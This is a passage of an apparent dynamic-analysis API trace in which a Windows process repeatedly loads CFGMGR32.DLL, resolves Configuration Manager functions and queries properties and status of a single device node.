BufferLen=0xc9, ulFlags=0x0 | out: Buffer="HTREE\\ROOT\\0") returned 0x0 [0208.505] malloc (_Size=0x48) returned 0x20abc27cf80 [0208.505] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x380a7a10, dwHighDateTime=0x1d9eb0c)) [0208.505] SetEvent (hEvent=0x248) returned 1 [0208.509] malloc (_Size=0xd8) returned 0x20abc2867b0 [0208.509] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0208.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0208.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0208.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0208.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0208.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0208.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0208.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0208.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0208.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0208.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0208.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0208.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0208.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0208.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0208.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0208.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0208.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0208.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0208.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0208.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0208.512] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0208.512] malloc (_Size=0x18) returned 0x20abc281f00 [0208.512] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0208.512] malloc (_Size=0x48) returned 0x20abc27cb20 [0208.512] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x380ce014, dwHighDateTime=0x1d9eb0c)) [0208.512] SetEvent (hEvent=0x248) returned 1 [0208.515] malloc (_Size=0xd8) returned 0x20abc2867b0 [0208.515] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0208.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0208.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0208.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0208.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0208.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0208.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0208.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0208.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0208.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0208.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0208.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0208.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0208.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0208.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0208.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0208.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0208.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0208.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0208.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0208.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0208.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0208.518] malloc (_Size=0x18) returned 0x20abc281ac0 [0208.518] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0208.518] malloc (_Size=0x48) returned 0x20abc27cf80 [0208.518] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x380ce014, dwHighDateTime=0x1d9eb0c)) [0208.519] SetEvent (hEvent=0x248) returned 1 [0208.653] malloc (_Size=0xd8) returned 0x20abc2867b0 [0208.653] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0208.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0208.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0208.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0208.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0208.654] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0208.654] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0208.654] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0208.654] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0208.654] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0208.654] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0208.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0208.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0208.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0208.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0208.656] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0208.656] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0208.656] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0208.656] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0208.656] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0208.656] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0208.657] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0208.657] malloc (_Size=0x18) returned 0x20abc281e00 [0208.657] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0208.657] malloc (_Size=0x48) returned 0x20abc27cb20 [0208.658] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x38225409, dwHighDateTime=0x1d9eb0c)) [0208.658] SetEvent (hEvent=0x248) returned 1 [0208.661] malloc (_Size=0xd8) returned 0x20abc2867b0 [0208.661] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0208.661] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0208.661] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0208.662] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0208.662] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0208.662] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0208.662] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0208.662] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0208.662] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0208.662] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0208.662] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0208.663] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0208.663] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0208.663] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0208.663] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0208.663] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0208.663] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0208.663] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0208.664] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0208.664] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0208.664] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0208.664] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0208.664] malloc (_Size=0x18) returned 0x20abc282000 [0208.664] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0208.664] malloc (_Size=0x48) returned 0x20abc27cb20 [0208.665] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x38225409, dwHighDateTime=0x1d9eb0c)) [0208.665] SetEvent (hEvent=0x248) returned 1 [0208.667] malloc (_Size=0xd8) returned 0x20abc2867b0 [0208.668] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0208.668] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0208.668] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0208.668] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0208.668] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0208.668] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0208.668] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0208.669] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0208.669] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0208.669] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0208.669] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0208.669] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0208.669] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0208.669] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0208.670] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0208.670] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0208.670] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0208.670] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0208.670] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0208.670] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0208.670] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0208.670] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0208.671] malloc (_Size=0x18) returned 0x20abc281b00 [0208.671] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0208.671] malloc (_Size=0x48) returned 0x20abc27cb20 [0208.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3824b913, dwHighDateTime=0x1d9eb0c)) [0208.671] SetEvent (hEvent=0x248) returned 1 [0208.675] malloc (_Size=0xd8) returned 0x20abc2867b0 [0208.675] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0208.675] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0208.675] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0208.675] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0208.675] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0208.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0208.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0208.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0208.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0208.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0208.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0208.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0208.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0208.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0208.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0208.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0208.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0208.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0208.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0208.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0208.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0208.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0208.678] malloc (_Size=0x18) returned 0x20abc281d80 [0208.678] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0208.678] malloc (_Size=0x48) returned 0x20abc27cf80 [0208.678] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3824b913, dwHighDateTime=0x1d9eb0c)) [0208.678] SetEvent (hEvent=0x248) returned 1 [0208.684] malloc (_Size=0xd8) returned 0x20abc2867b0 [0208.684] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0208.684] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0208.685] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0208.685] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0208.685] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0208.685] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0208.685] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0208.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0208.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0208.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0208.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0208.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0208.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0208.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0208.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0208.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0208.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0208.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0208.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0208.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0208.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0208.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0208.688] malloc (_Size=0x18) returned 0x20abc281c80 [0208.688] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0208.689] malloc (_Size=0x48) returned 0x20abc27cb20 [0208.689] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x382722da, dwHighDateTime=0x1d9eb0c)) [0208.689] SetEvent (hEvent=0x248) returned 1 [0208.691] malloc (_Size=0xd8) returned 0x20abc2867b0 [0208.691] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0208.692] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0208.692] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0208.692] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0208.692] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0208.692] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0208.693] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0208.693] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0208.693] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0208.693] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0208.693] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0208.693] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0208.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0208.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0208.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0208.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0208.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0208.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0208.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0208.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0208.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0208.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0208.695] malloc (_Size=0x18) returned 0x20abc281d20 [0208.695] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x6, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0208.696] malloc (_Size=0x48) returned 0x20abc27cf80 [0208.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x38297d2c, 